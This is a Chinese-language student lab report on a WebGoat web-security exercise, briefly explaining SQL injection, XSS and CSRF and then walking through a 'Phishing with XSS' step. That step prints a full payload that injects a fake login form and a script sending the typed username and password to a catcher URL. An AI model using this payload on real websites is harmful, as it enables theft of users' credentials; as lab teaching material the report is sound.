Exp9 Web安全基础实践 20164318 毛瀚逸

最新推荐文章于 2024-09-14 10:24:09 发布

baochenlu2165

最新推荐文章于 2024-09-14 10:24:09 发布

阅读量166

点赞数

文章标签： web安全 java ui

原文链接：http://www.cnblogs.com/breakingdoge/p/10925622.html

版权

1.实验后回答问题

（1）SQL注入攻击原理，如何防御

原理：通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

防御：对输入的数据进行限制，非法字符不能输入

（2）XSS攻击的原理，如何防御

原理：它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本

防御：对输入数据进行过滤，

（3）CSRF攻击原理，如何防御

原理：利用用户在某站点的cookie，另一站点对用户发送攻击代码，使得另一站点以用户的登录信息登入站点。

防御：在cookie中包含该用户的特定信息，登陆时使用验证码等等

2.1实验步骤

1、webgoat准备

将webgoat存入kali后，在相应的目录的终端输入java -jar webgoat-container-7.0.1-war-exec.jar

然后在浏览器中输入http://localhost:8080/WebGoat，用下方默认的用户登录

2.Phishing with XSS

在搜索框输入

在搜索框里输入XSS攻击代码

</form>

  <script>

function hack(){

XSSImage=new Image;

XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";

alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);

}

  </script>

<form name="phish">

<br>

<br>

<HR>

  <H2>This feature requires account login:</H2>

<br>

  <br>Enter Username:<br>

  <input type="text" name="user">

  <br>Enter Password:<br>

  <input type="password" name = "pass">

<br>

  <input type="submit" name="login" value="login" οnclick="hack()">

</form>

<br>

<br>

<HR>